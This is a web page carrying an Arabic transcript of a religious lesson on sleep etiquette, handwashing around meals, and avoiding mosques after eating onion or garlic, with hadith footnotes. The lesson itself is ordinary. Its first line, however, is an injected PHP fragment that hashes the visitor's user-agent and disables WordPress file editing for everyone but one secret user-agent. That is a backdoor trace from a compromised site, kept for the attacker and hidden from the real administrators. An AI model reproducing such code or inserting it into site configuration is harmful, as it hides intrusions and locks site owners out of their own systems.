if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الدرس التاسع - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الدرس التاسع

الحمد لله رب العالمين، والصلاة والسلام على أشرف الأنبياء والمرسلين نبينا محمد عليه أفضل الصلاة وأتم التسليم.

أما بعد؛ أيها الأخوة الأكارم السلام عليكم ورحمة الله وبركاته وحياكم الله في الدرس التاسع من شرح دروسٍ في الآداب ومكارم الأخلاق المشروعة للإمام «أبي الوفاء ابن عقيل الحنبلي» غفر الله له ولوالديه وللسامعين ووالديهم وعموم المسلمين.

انتهينا في الدرس الماضي من الكلام على آداب الأكل والشرب من التسمية في أوله والحمد في آخره، والأكل باليمين والأكل مما يليه إذا كان الطعام من نوعٍ واحدٍ، وكذلك تعرضنا لحكم الأكل أو الشرب قائمًا والاتكاء وحكم التنفس والنفخ في الطعام، بعد هذا شرعنا في الفصل الحادي عشر وذكر فيه رحمه الله جملةً من آداب النوم، انتهينا من بعضها واليوم نكمل ما بقي في النوم وعاد رحمه الله بعد ذكر عددٍ من آداب النوم إلى بعض آداب الطعام والشراب وكأنه استدركها.

قال رحمه الله:

فَصْلٌ

وَمَنْ أَرَادَ النَّوْمَ يُغْلِقُ بَابَهُ، وَيُوْكِيْ سِقَاءَهُ، وَيُغَطِّيْ إِنَاءَهُ، وَيُطْفِئُ سِرَاجَهُ، كَذَلِكَ رُوِيَ فِيْ السُّنَنِ عَنِ النَّبِيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ، وَكَرِهَ أَحْمَدُ رَضِيَ اللهُ عَنْهُ غَسْلَ اليَدِ لِلطَّعَامِ، وَقَدْ وَرَدَ فِي الخَبَرِ غَسْلُ اليَدِ لَهُ، وَلَعَلَّهُ مَا صَحَّ عِنْدَ أَحْمَدَ رَضِيَ اللهُ عَنْهُ.

قال رحمه الله: (وَمَنْ أَرَادَ النَّوْمَ يُغْلِقُ بَابَهُ، وَيُوْكِيْ سِقَاءَهُ، وَيُغَطِّيْ إِنَاءَهُ، وَيُطْفِئُ سِرَاجَهُ، كَذَلِكَ رُوِيَ فِيْ السُّنَنِ عَنِ النَّبِيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ) هذا القدر انتهينا منه وبينا فيه السنة في تغطية الإناء وإيكاء السقاء وإغلاق الباب وإطفاء السراج، وأن ذلك أدبٌ عظيمٌ تعود مصلحته ومنفعته للمسلم، وأنه إذا أغلق بابه يذكر اسم الله وإذا خمّر إناءه يذكر اسم الله ولو أن يعرض عليه عودًا، كما ذكرنا كفّ الصبيان عند غروب الشمس وإبعادهم عن الشياطين التي تنتشر عند غروب الشمس.

بقي من آداب النوم آدابٌ لم يذكرها المؤلف وهي جديرة بالذكر ومنها: أن يتعبد اللهَ المسلمُ بهذا النوم بمعنى أنه ينام بنية التقوي على طاعة الله؛ ليكون له في نومه أجرٌ كما له في يقظته وصحوته كما أنه ينوي بالأكل والشرب كذلك التقوي على طاعة الله كما أنه ينبغي أن يحرص على النوم في وقته وهو النوم في الليل الذي جعله ربنا جل شأنه سكنًا، وجعل الليل سكنًا تسكن فيه النفوس وتطمئن وجعل الليل لباسًا وجعل النهار معاشًا، وامتن على عباده بالليل ليسكنوا فيه {قُلْ أَرَأَيْتُمْ إِنْ جَعَلَ اللهُ عَلَيْكُمُ النَّهَارَ سَرْمَدًا إِلَى يَوْمِ الْقِيَامَةِ مَنْ إِلَهٌ غَيْرُ اللهِ يَأْتِيكُمْ بِلَيْلٍ تَسْكُنُونَ فِيهِ} [القصص: ٧٢] فمن آداب النوم أن ينام المسلم في الليل أو أكثر الليل، وأما ما اعتاده كثيرٌ من الناس لا سيما في هذه السنين المتأخرة من السهر طوال الليل أو أكثر الليل لا سيما في الإجازات فهذا خلافٌ للفطرة وللصحة ولهدي النبي صلى الله عليه وسلم ، فإنه صلوات ربي وسلامه عليه كان يكره النوم قبل صلاة العشاء والسهر بعده، وكان لا يسهر بعد العشاء إلا جزءًا يسيرًا في مصالح المسلمين، حتى رمضان كان صلوات الله وسلامه عليه يخلط العشرين الأُول بصلاة ونوم ولم يكن يُحيي الليل إلا في العشـر الأواخر، يحيها بالصلاة والقيام والدعاء وقراءة القرآن وسائر وجوه العبادة والقرب، وأما في العشـرين الأُول فكان ينام صلوات ربي وسلامه عليه، حتى في ليلة العيد ليلة عيد النحر وهو لم يحج إلا حجةً واحدة لما وصل إلى المزدلفة صلى المغرب والعشاء ونام حتى اختلف أهل العلم هل قام تلك الليلة أو لم يوتر لسرعة نومه صلوات ربي وسلامه عليه، والصحيح أنه أوتر إذ لم يكن من هديه صلى الله عليه وسلم أن يترك الوتر أو ركعتي الفجر في حضرٍ ولا سفر لكن الشاهد هو حرصه صلوات ربي وسلامه عليه على النوم في الليل، وذلك أن الجسم يستريح ويحصل راحة في نوم الليل لا يعادلها نوم النهار، ولهذا من ابتلي بالسهر من الأطباء والممرضين والعسكريين فإنهم يحرصون على تبديل هذا العمل وتغييره بين فترة وأخرى.

ومن آداب النوم أن يتوضأ المسلم وضوء الصلاة قبل أن ينام، في حديث البراء بن عازب رضي الله عنه أن النبي صلى الله عليه وسلم قال له: «إذا أتيتَ مضجعَكَ فتَوضَّأ وُضوءَكَ للصَّلاةِ»[1]، وفي حديث أبي أمامة رضي الله عنه أن النبي صلى الله عليه وسلم قال: «من أوى إلى فراشه طاهرًا يذكر اسم الله تبارك وتعالى حتى يدركه النعاس لم يتقلب ساعةً من ليلٍ يسأل الله عزوجل شيئًا إلا أعطاه إياه»[2] [رواه الترمذي] ويكون الوضوء أوكد في حال الجنابة، فالجنب قبل أن ينام إما أن يغتسل وهو أكمل وأفضل وإما يتوضأ ولا ينام على حدثٍ تام، وفي الصحيح أن الفاروق عمر رضي الله عنه قال للنبي صلى الله عليه وسلم: «يا رسولَ اللهِ، أيرقُدُ أحدُنا وهو جنُبٌ؟ قال: نعم، إذا توضَّأَ»[3]، ومن أهل العلم من أوجب الوضوء للجنب قبل أن ينام، ويُسن هذا الوضوء عند النوم وعند الأكل والشرب وعند معاودة الوطء والجماع.

ومن آداب النوم، نفض الفراش قبل أن ينام عليه كما ثبت في الصحيح من حديث أبي هريرة رضي الله عنه أن النبي صلى الله عليه وسلم قال: «إذا جاءَ أحَدُكُمْ فِراشَهُ فَلْيَنْفُضْهُ بصَنِفَةِ ثَوْبِهِ ثَلاثَ مَرَّاتٍ، ولْيَقُلْ: باسْمِكَ رَبِّي وضَعْتُ جَنْبِي، وبِكَ أرْفَعُهُ، إنْ أمْسَكْتَ  نَفْسِي فاغْفِرْ لَها، وإنْ أرْسَلْتَها فاحْفَظْها بما تَحْفَظُ به عِبادَكَ الصَّالِحِينَ»[4]، والصنفة: هي الطرف والحاشية.

ومن آداب النوم، أن يجمع كفيه ويقرأ فيهما بسورة الإخلاص والمعوذتين، قل أعوذ برب الفلق، وقل أعوذ برب الناس، وينفث في كفيه ويمسح بهما ما استطاع من جسده يقبل بذلك ويدبر، ومن الآداب أيضًا أن ينام على جنبه الأيمن، وفي حديث البراء المتقدم قال: «إذا أتَيْتَ مَضْجَعَكَ، فَتَوَضَّأْ وضُوءَكَ لِلصَّلاةِ، ثُمَّ اضْطَجِعْ علَى شِقِّكَ الأيْمَنِ»[5]، ومن الآداب أيضًا أن يقرأ آية الكرسي، فإنه لا يزال عليه من الله حافظ ويقرأ خواتيم البقرة {آمَنَ الرَّسُولُ بِمَا أُنْزِلَ} حتى يختمها؛ فإن من قرأ هاتين الآيتين في ليلة كفتاه، كفتاه الشرور وكفتاه قيام الليل، وكفتاه مطلقة عامة في حديث النبي صلى الله عليه وسلم فيحرص عليه، هذه جملة من الآداب ينبغي للعبد أن يحرص عليها وأن يتأدب بها ليكون في نومته متعبدًا لله، متأدبًا بهذه الآداب فيكون نومه عبادة وتكون يقظته عبادة.

قال رحمه الله عقب ذلك: (وَكَرِهَ أَحْمَدُ رَضِيَ اللهُ عَنْهُ غَسْلَ اليَدِ لِلطَّعَامِ، وَقَدْ وَرَدَ فِي الخَبَرِ غَسْلُ اليَدِ لَهُ، وَلَعَلَّهُ مَا صَحَّ عِنْدَ أَحْمَدَ رَضِيَ اللهُ عَنْهُ) إذن الإمام أبو الوفاء ابن عقيلٍ رحمه الله يتكلم عن غسل اليدين قبل الطعام فيقول: إن الإمام أحمد رضي الله عنه قد كره هذا الغسل، غسل اليد للطعام أي لأجل الطعام، قد اختلف أهل العلم رحمهم الله في غسل اليد قبل الطعام على قولين، وربما نقول ثلاثة: القول الأول: ما ذكره المؤلف هنا وهو الكراهة، والقول الثاني: الاستحباب، والقول الثالث: أنه جائز لا سيما إذا دعت إليه الحاجة وكان في يده قذرًا أو يخشى أن يكون في يده شيءٌ من القذر.

إذن اختلف العلماء في غسل اليدين قبل الطعام فمنهم من كرهه ومنهم من استحبه ومنهم من أباحه، ذكر رحمه الله في ذلك روايتان: الكراهة والاستحباب كما ذكر ذلك شيخ الإسلام ابن تيمية وتلميذه ابن القيم رحمهما الله، ولما سُئل الإمام أحمد رحمه الله عن غسل اليدين قبل الطعام، قال: زي العجم أو قال: فعل اليهود، وهذه علة من قال بالكراهة، ومن استحب ذلك استدل بحديث مرويٍ في ذلك، حديث سلمان رضي الله عنه، قال سلمان الفارسي رضي الله عنه: «قرأتُ في التوراةِ أنَّ بَرَكَةَ الطعامِ الوضوءُ بعدَهُ، فذكرْتُ ذلِكَ للنبيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ أخبرتُهُ بما قرأتُ في التوراةِ، فقال رسول اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ: بركةُ الطعامِ الوضوءُ قبلَهُ، والوضوءُ بعدَهُ»[6] إذن سلمان يقول: إني قرأت في التوراة أن بركة الطعام أن يتوضأ بعده يعني يغسل يديه، فأخبر صلى الله عليه وسلم أن بركة الطعام تكون أكمل في غسل اليدين أو الوضوء كما عبّر هنا قبل الطعام وبعده، والحديث رواه أبو داود والترمذي لكنه حديثٌ ضعيف لا تقوم به حجة، قال الترمذي: وفي الباب عن أنس وأبي هريرة، وقال: لا نعرف هذا الحديث إلا من حديث قيس بن الربيع، وقيس بن الربيع راوي هذا الحديث ضعيف في الحديث، قال ابن مفلح: قال مهنا: ذكرت هذا الحديث لأحمد، فقال: ما حدّث به إلا قيس بن الربيع وهو منكر الحديث، وذكر العلامة ابن القيم رحمه الله في تعليقه على مختصر سنن أبي داود عن الخلال أنه قال: أخبرنا أبو بكر المروزي من أصحاب الإمام أحمد قال: رأيت أبا عبدالله -يعني الإمام أحمد- يغسل يديه قبل الطعام وبعده، وبناءً على ما سبق وعدم صحة حديث سلمان ولأن غسل اليدين ليس فيه شيءٌ من التشبه بالعجم ولا باليهود، نقول: الراجح أن المسلم يغسل يده قبل الطعام لا سيما إذا احتاج إلى ذلك، أما إذا كانت يده نظيفة وقد غسلها قبل الطعام بزمنٍ يسير ولم يتعرض لها شيءٌ من التراب أو الغبار أو الأذى أو القذى أو ما يمكن أن يقال كالجراثيم ونحوها فإنه لا يحتاج إلى غسلها، بمعنًى لا يُقال باستحباب الغسل وسنيته ولا كراهته بل يُقال إن احتاج غسل وإلا فلا وذلك من باب النظافة، فيكون الاستحباب عند القائلين به ليس لذاته وإنما للنظافة، وليس ثمة وجه للتشبه باليهود حتى يُقال بتركه لأنه من زيهم أو من فعلهم بل نقول: المسلم كغيره وهو أجدر بالنظافة وأبعد عن القذر والأذى؛ لأن دينه دين النظافة يدعوه إليه.

قال رحمه الله عقب ذلك (فَصْلٌ) هذا هو الفصل الثاني عشر.

قال رحمه الله:

فَصْلٌ

ويُسْتَحَبُّ تَحْوِيْلُ غَسْلِ اليَدِ مِنَ الزُّهَامِ، وَعِنْدَ النَّوْمِ أَشَدُّ اِسْتِحْبَابًا، فَقَدْ وَرَدَ التَّحْذِيْرُ مِنْهُ مِنْ أَجْلِ الهَوَامِّ، وَيُكْرَهُ لِمَنْ أَرَادَ الْمَسَاجِدَ لِلصَّلَاةِ وَالاعتِكَافِ أَنْ يَتَعَرَّضَ لِأَكْلِ الخَبَائِثِ مِنَ البُقُوْلِ، كَالبَصَلِ، وَالثُّوْمِ، وَالكُرَّاثِ، فَقَدْ نَهَى النَبَيُّ g عَنْ قُرْبَانِ الْمَسْجِدِ مَعَهُ، وَيُسْتَحَبُّ الإِجَابَةُ إِلَى وَلِيْمَةِ العُرْسِ، وَلَيْسَ لَهُ أَنْ يَسْتَجِيْبَ إِلَى وَلِيْمَةِ الخِتَانِ؛ فَإِنَّهَا مُحْدَثَةٌ، وَإِذَا حَضَـرَ وَلَيْمَةَ العُرْسِ لَمْ يَكُنْ عَلَيْهِ الأَكْلُ، بَلْ إِنْ أَكَلَ وَإِلَّا دَعَا وَانْصَرَفَ، وَإِنَّمَا يُسْتَحَبُّ الإِجَابَةُ إِلَيْهَا؛ إِذَا لَمْ يَكُنْ فِيْهَا لَعِبٌ وَلَا مُنْكَرٌ وَلَا لَهْوٌ، فَإِنْ كَانَ فِيْهَا مُحَرَّمٌ حَرُمَتِ الإِجَابَةُ، وَإِنْ كَانَ فِيْهَا مَكْرُوْهٌ كُرِهَتِ الإِجَابَةُ، وَيُكْرَهُ لِأَهْلِ المُرُوْءَاتِ وَالفَضَائِلِ التَسَرُّعُ إِلَى إِجَابَةِ الطَّعَامِ، وَالتَسَامُحُ بحُضُوْرُ الوَلَائِمِ غَيْرِ الشَّرْعِيَّةِ؛ فَإِنَّهُ يُوْرِثُ دَنَاءَةً وَإِسْقَاطَ الهَيْبَةِ مِنْ صُدُوْرِ النَّاسِ، وَيُسْتَحَبُّ لِلْمُسْلِمِ عِيَادَةُ أَخِيْهِ المُسْلِمِ، وَحُضُوْرُ جَنَازَتِهِ إِذَا مَاتَ، وَتَعْزِيَةُ أَهْلِهِ، وَلَا بَأْسَ بِعِيَادَةِ الذِّمِّيِّ، فَقَدْ عَادَ النَّبِيُّ g  يَهُوْدِيًّا، وَقَالَ: «كَيْفَ تَجِدُكَ يَا يَهُوْدِي».

هذا فصلٌ طويل قد نستغرق فيه أكثر من درس وقد جمع فيه رحمه الله جملةً من الآداب، منها ما يتعلق بالطعام، ومنها ما يتعلق بالدعوات وإجابتها وشروط ذلك وآدابه.

قال رحمه الله: (ويُسْتَحَبُّ تَحْوِيْلُ غَسْلِ اليَدِ مِنَ الزُّهَامِ، وَعِنْدَ النَّوْمِ أَشَدُّ اِسْتِحْبَابًا، فَقَدْ وَرَدَ التَّحْذِيْرُ مِنْهُ مِنْ أَجْلِ الهَوَامِّ) هذا القدر من هذا الفصل ملحقٌ بآداب الطعام، وقد ذكر آداب الطعام أو الأكل والشرب في فصل، ثم ذكر طرفًا من آداب النوم، ثم ذكر هذا القدر في آداب الطعام، هذا الفصل إذن فيه جملةٌ من بقية آداب الأكل والشرب وغيره، وهذا الكلام في غسل اليدين بعد الأكل، ذكر سابقًا حكم غسل اليدين قبل الأكل وهنا قال: (ويُسْتَحَبُّ تَحْوِيْلُ غَسْلِ اليَدِ مِنَ الزُّهَامِ) أي بعد الأكل، والمراد بالزهام هنا ما يبقى في اليدين من ريح الطعام عمومًا وريح اللحم خصوصًا، قال في القاموس في مادة زُهم: الزهومة والزُهمة بضمهما ريح لحم سمين منتن، زهمه أي دسمه، وفي غريب الحديث في مادة زهم: الزهم بالتحريك مصدر زهمتُ يده تزهمُ من رائحة اللحم، فدل مراده رحمه الله على أنه يُستحب غسل اليد من أثر الطعام وبقيته لا سيما إذا كان الطعام دسمًا أو فيه ريحٌ وهذا غالبًا يكون في اللحوم أكثر من غيرها.

قوله: (ويُسْتَحَبُّ تَحْوِيْلُ) كلمة تحويل هذه لا أجد لها تفسيرًا يستقيم به المعنى ولعلها: ويستحب تعجيل غسل اليد من الزهام، وهذا يحتاج الرجوع إلى مخطوط هذه الرسالة للتأكد، لكنها لا تستقيم بقوله: (ويُسْتَحَبُّ تَحْوِيْلُ غَسْلِ اليَدِ) لعله (ويُسْتَحَبُّ -تَعجيل- غَسْلِ اليَدِ مِنَ الزُّهَامِ، وَعِنْدَ النَّوْمِ أَشَدُّ اِسْتِحْبَابًا) قال النووي رحمه الله في حديث زيدٍ: «الْوُضُوءُ ممَّا مَسَّتِ النَّارُ»[7] [الحديث رواه الإمام مسلم] قال النووي: حمل الجمهور الأمر بالوضوء مما مست النار على أن المراد بالوضوء غسل الفم والكفين، ثم أورد حديث ابن عباس «أنَّ رَسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ شرِبَ لَبَنًا، ثم دعا بِماءٍ فمضمَضَ، وقال: إنَّ له دَسَمًا»[8] [الحديث رواه الإمام مسلم]، قال رحمه الله أي النووي: فيه استحباب المضمضة من شرب اللبن، قال العلماء: وكذا غيره من المأكول والمشروب، ثم ذكر رحمه الله خلاف العلماء في غسل اليدين قبل الطعام وبعده، وقال: الأظهر استحبابه.

قال رحمه الله: (وَعِنْدَ النَّوْمِ أَشَدُّ اِسْتِحْبَابًا) أي إذا أكل ثم أراد أن ينام مباشرة فإن غسل اليدين من الزهام والزهومة والدسومة وريح الطعام وبقية أثره تكون أشد استحبابًا؛ لأنه إذا أكل طعامًا ونام قبل أن يغسل يده فربما أُوذي من الحشرات والهوام التي تأتي على الريح، إذن إذا أكل طعامًا وأراد أن ينام فإنه يتأكد في حقه غسل اليدين أكثر فقد ورد التحذير من ترك ذلك من أجل الهوام والحشرات التي ربما جاءت على ريح الطعام فلسعته وآذته وفي حديث أبي هريرة رضي الله عنه قال: قال رسول الله صلى الله عليه وسلم: «من نامَ وفي يدِه غَمَرٌ ولم يغسِلْهُ فأصابَه شَيءٌ فلا يلومَنَّ إلَّا نفسَهُ»[9] قالوا: والغمر بالتحريك بفتحتين: بقية الدسم، فيحذر صلى الله عليه وسلم من نام وفي يده أثرٌ من الطعام فأصابه شيءٌ فلا يلومن إلا نفسه [رواه أبو داود والترمذي وحسنه البغوي وصححه ابن حجر] قيل: أصابه شيء يعني من الهوام، وقال بعض أهل العلم: أصابه شيء يعني من البرص وعدّوا من أسباب البرص أن ينام وفي يده أثرٌ من الدسم، وعلى كلٍ نقول: البرص قد يكون له أسبابٌ أُخر لكنه صلى الله عليه وسلم نهى عن ذلك وحذر وقال: من نام ولم يغسل فأصابه شيء، أقل ما يصيبه الهوام، والهوام والحشرات قد تكون من ذوات السموم، من الحية إلى العقرب، وقد تكون دون ذلك من الحشرات التي تأتي على ريح الطعام فربما لسعته وهذا قمة الكسل والعجر، أن ينام الإنسان قبل أن يغسل يده، لا أقل من غسل اليد وإزالة أثر الطعام من الفم واليد أولًا: لهذا الحديث، ثانيًا: لئلا يصيبه ما يؤذيه، ثالثًا: لأن بقايا الطعام في الفم ربما أفسدت عليه أسنانه.

قال رحمه الله: (وَيُكْرَهُ لِمَنْ أَرَادَ المَسَاجِدَ لِلصَّلَاةِ وَالاعتِكَافِ أَنْ يَتَعَرَّضَ لِأَكْلِ الخَبَائِثِ مِنَ البُقُوْلِ، كَالبَصَلِ، وَالثُّوْمِ، وَالكُرَّاثِ، فَقَدْ نَهَى النَبَيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ عَنْ قُرْبَانِ المَسْجِدِ مَعَهُ) المساجد: جمع مسجد وهو كل موضعٍ أُعد للصلاة سواءً كان المسجد الذي يصلي فيه الرجال أو المصلى الذي تصلي فيه النساء، ولهذا النهي هنا عامٌ شاملٌ للرجال والنساء على حدٍ سواء، فلو صلت المرأة في المصلى أو في المسجد فإنها تجتنب أكل البصل والكراث والثوم كالرجل تمامًا، جاء وصف هذه البقول بالخبائث، قال: (أَنْ يَتَعَرَّضَ لِأَكْلِ الخَبَائِثِ مِنَ البُقُوْلِ) وصف هذه البقول بالخبائث؛ لأنه قد جاء في الحديث وصفها بذلك، في قوله صلى الله عليه وسلم: «إنها شجرةٌ خبيثةٌ أكره ريحها»[10] [الحديث في الصحيح] وذلك أنه صلى الله عليه وسلم لما منع من أكل الثوم أو الكراث أو البصل من قربان المسجد ونهاه عن دخول المسجد وأمر بإخراجه من المسجد وقال: «من أكل فلا يقربن مسجدنا» ظن بعض الصحابة أنها حُرمت، فقالوا: حُرمت حُرمت حُرمت، فصعد صلى الله عليه وسلم المنبر وأخبر «أنها شجرة خبيثة وأنه يكره ريحها» يعني هي حلال ليست بمحرمة لكنه صلوات الله وسلامه عليه يكره ريحها، إذن الخُبث قد يكون في الشيء لذاته فيكون محرمًا كما أصل المحرمات في قول الله جل شأنه في وصف نبيه: {وَيُحِلُّ لَهُمُ الطَّيِّبَاتِ وَيُحَرِّمُ عَلَيْهِمُ الْخَبَائِثَ} [الأعراف: ١٥٧] وقد يكون الخُبث في الشيء لا لذاته وإنما لأمر خارج كدناءته فيكون مكروهًا مثل هذا، فالبصل والكراث والثوم مكروه وخبيث لريحه المنتنة إذا لم يطبخ طبخًا شديدًا وتزول رائحته؛ فإنه مؤذٍ للمصلين ومؤذٍ لملائكة الله الذين يتأذون مما يتأذى منه الآدميون، ومن هذا الخُبث الذي يكون للدناءة وليس للتحريم، قول النبي صلى الله عليه وسلم: «كَسْبُ الحَجَّامِ خبيثٌ»[11] فإن الحجّام الذي يأخذ مالًا على الحجامة هو من حيث الحلال حلال لكنه خبيث لدناءة هذه المهنة، والبقول: جمع بقل وهو كل ما لا ساق له من الزروع، جمهور العلماء على أن من أكل بصلًا أو ثومًا أو كراثًا يكره له دخول المسجد، وذهبت الظاهرية إلى أن النهي للتحريم، وفي حديث جابر بن عبدالله رضي الله عنه وعن أبيه أن النبي صلى الله عليه وسلم قال: «مَن أكَلَ ثُومًا أوْ بَصَلًا فَلْيَعْتَزِلْنَا، أوْ لِيَعْتَزِلْ مَسْجِدَنَا»[12]، وفي حديث أنس رضي الله عنه: «مَن أكَلَ فلا يَقْرَبَنَّ مَسْجِدَنَا»[13] وظاهر النصوص التحريم، وما ذهب إليه الظاهرية له وجهٌ معتبر إذ لا صارف هنا، جاء في الحديث: «إخراج آكل البصل أو الثوم أو الكراث من المسجد أُخرج إلى البقيع»[14]، اليوم قد يكون النزاع والشقاق بين أهل الإسلام لو قام أحد فأخرج لكن لو قال: أنا معي حديث من النبي صلى الله عليه وسلم وهذا مزعج للمصلين ومؤذٍ لهم ومسكه بيده ووصله إلى باب المسجد، وقال: انصرف، صلِ في بيتك، لم يكن مخطئًا لكن قد لا يقبل بعض الناس ذلك وإلا فقد جاءت السنة بإخراج من أكل هذه البقول من المسجد.

هل الإذن له ألا يُصلي في المسجد تخفيف وتيسير وأن الجماعة سقطت عنه أو عقوبة وتعزير؟ الظاهر الثاني، وأنه مُنع من الصلاة ليس تخفيفًا وإنما عقوبة وتعزيرًا، وذلك أنه تعمد الأكل في هذا الوقت فمُنع وحُرم من الصلاة في المسجد، لكن إذا قال أنا ما علمت، ما توقعت أن في الطعام هذه الرائحة، وأن الرائحة ظننت أن الطبخ قد أتى عليها، نقول: يمتنع ولا حرج عليه لكن لو تعمد، هذا هو الذي يمكن أن يقال التعزير والعقوبة، لو تعمد أن يضع أكلًا فيه بصلًا أو كراثًا أو ثومًا وأكله قرب الصلاة وتعود ذلك، نقول: أنت مخالفٌ للسنة ومفوت للجماعة وعرضت نفسك للعقوبة، فإن منعك من الصلاة في المسجد أثناء أكل الثوم والبصل والكراث ليس تخفيفًا ولا تيسيرًا وإنما هو تغليظٌ وعقوبةٌ وكفاك حرمانًا من الصلاة في المسجد ما دامت هذه الرائحة النتنة معك، وذلك أيضًا كله من باب درء المفاسد وأنه مقدمٌ على جلب المصالح فإن صلاته في المسجد له مصلحة وتحصيلٌ للحسنات المضاعفة لكن مفسدته أعظم وأذيته للمصلين وللملائكة أشد، ولهذا نقول درء المفسدة مقدم على جلب المصلحة، فلا يحضر ولو قال أنا أريد أن أصلي ولا أريد أن أفوت، نقول: انتبه في المستقبل وإن كنت ولا بد آكلًا فكله في وقت متسع كبعد العشاء واجتهد في إماتته بالطبخ؛ فإنه إذا طُبخ وأُميت ذهبت رائحته أو خفت.

ذكر بعض أهل العلم مواد يمكن أن تذيب أو تخفف، فذكروا منه الهيل وربما القرنفل وربما البقدونس لكن مهما كان فإنه إذا أُكل نيئًا أو قريبًا من النيئ فإنه رائحته المنتنة الخبيثة لا تزول بسهولة، إذا طُبخ وزالت رائحته فإن النهي لا يشمله، إذ قد يأكل الإنسان مطبوخًا من بصلٍ أو ثومٍ أو نحوه لكنه لا يشم أحدًا رائحته؛ لأنه قد أُميت بالطبخ، فلا يدخل في النهي ولا يشمله النهي، ومثله أيضًا إذا احتاط مع ذلك فأكل ما يُخفف الرائحة وتطيب فإن ذلك يزيل المنع في حقه.

بقي عندنا، هل المنع خاص بالمساجد فقط أو في الجماعات؟ بعض الناس إذا أكل بصل أو ثوم أو كراث، ربما ذهب يصلي في أي مسجد أو في مصلى على طريق أو مسجد أو مصلى في محطة بنزين أو غيره، نقول: ليس هذا بصحيح، النهي لأجل الصلاة واجتماع أهل الإيمان في المساجد أو المصليات مع الملائكة، بل قال الفقهاء رحمهم الله: ولو صلى في برية فإن النهي يشمله، فلا يفهم الإنسان أنه ما دام في البر يأكل من هذه البقول النتنة رائحتها ويصلي ويقول لا حرج لست في مسجد، نقول: الملائكة وأهل الإيمان من المصلين يتأذون ولو كنت في غير مسجد.

لعلنا نكتفي بهذا القدر ونقف عند قوله: (وَيُسْتَحَبُّ الإِجَابَةُ إِلَى وَلِيْمَةِ العُرْسِ) فإن البحث في هذه الوليمة وشروط حضورها وحكم إجابتها، فيه مسائل كثيرة تحتاج إلى بسطٍ أكثر فلعلنا نؤجل ذلك إلى الدرس القادم.

نسال ربنا بمنه وكرمه وجوده وإحسانه أن يجود علينا جميعًا بالتوفيق والتسديد والعون والتأييد وأن يرزقنا العلم النافع والعمل الصالح، وأن يجعل ما تعلمناه حجةً لنا لا علينا إنه قريبٌ مجيب، وبالله التوفيق وصلى الله وسلم وبارك وأكرم وأنعم على خيرة خلقه وأفضل أنبيائه ورسله نبينا محمد وعلى آله وأصحابه وأتباعه إلى يوم الدين، والسلام عليكم ورحمة الله وبركاته…

¯¯¯


[1] أخرجه البخاري (247)، ومسلم (2710)، وأبو داود (5046).

[2] أخرجه الترمذي (3526) بلفظ: «من أوى إلى فراشِهِ طاهرًا يذْكرُ اللهَ حتَّى يدرِكَهُ النُّعاسُ، لم ينقَلِب ساعةً منَ اللَّيلِ يسألُ اللهَ شيئًا من خيرِ الدُّنيا والآخرةِ إلَّا أعطاهُ اللهُ إيَّاهُ»، وقال الترمذي: حسن غريب، وحسنه ابن حجر في هداية الرواة (2/52)، وضعفه الألباني في ضعيف الترمذي (3526)، وضعيف الترغيب (341).

[3] أخرجه مسلم (306)، والترمذي (120)، والنسائي (259)، وابن ماجه (585)، وأحمد (230) واللفظ له.

[4] أخرجه البخاري (7393).

[5] أخرجه البخاري (247)، ومسلم (2710)، وأبو داود (5046).

[6] أخرجه أبو داود (3761)، والترمذي  (1846)واللفظ له، والحديث ضعفه شعيب الأرناؤوط في تخريج سنن أبي داود (3761)، وكذلك ضعفه الألباني في ضعيف الترمذي (1846).

[7] أخرجه مسلم (351).

[8] أخرجه البخاري (5609)، ومسلم (358)، وأبو داود (196)، والترمذي (89)، والنسائي (187)، وابن ماجه (498)، وأحمد (3050) واللفظ له.

[9] أخرجه أبو داود (3852)، وأحمد (7569) واللفظ لهما، والترمذي (1860)، والنسائي في السنن الكبرى (6905)، وابن ماجه (3297)، والحديث صححه الألباني في صحيح أبي داود (3852)، وصحح إسناده أحمد شاكر في تخريج المسند (4/14).

[10] أخرجه مسلم (565) عن أبي سعيد الخدري بلفظ: «لمْ نَعْدُ أنْ فُتِحَتْ خَيْبَرُ فَوَقَعْنَا أصْحَابَ رَسولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ في تِلكَ البَقْلَةِ الثُّومِ والنَّاسُ جِيَاعٌ، فأكَلْنَا منها أكْلًا شَدِيدًا، ثُمَّ رُحْنَا إلى المَسْجِدِ، فَوَجَدَ رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ الرِّيحَ فَقالَ: مَن أكَلَ مِن هذِه الشَّجَرَةِ الخَبِيثَةِ شيئًا، فلا يَقْرَبَنَّا في المَسْجِدِ فَقالَ النَّاسُ: حُرِّمَتْ، حُرِّمَتْ، فَبَلَغَ ذَاكَ النبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ فَقالَ: أيُّها النَّاسُ إنَّه ليسَ بي تَحْرِيمُ ما أحَلَّ اللهُ لِي، ولَكِنَّهَا شَجَرَةٌ أكْرَهُ رِيحَهَا».

[11] أخرجه مسلم (1568).

[12] أخرجه البخاري (5452)، ومسلم (564) مطولاً.

[13] أخرجه البخاري (5451) واللفظ له، ومسلم (562) باختلاف يسير.

[14] أخرجه ابن حزم في المحلى واحتج به (4/203) «أنَّ عمرَ بنَ الخطابِ رَضِيَ اللهُ عَنْهُ قال: إنَّكمْ أيُّها الناسُ تأكلونَ من شجرتينِ ما أراهُما إلا خَبيثتيْنِ، هذا البصلُ والثومُ، لقد رأيْتُ نبيَّ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ إذا وجدَ ريحَهُما منَ الرجلِ أمرَ به فأُخرِجَ إلى البقيعِ»، والحديث بهذا اللفظ صححه الألباني في صحيح النسائي (707).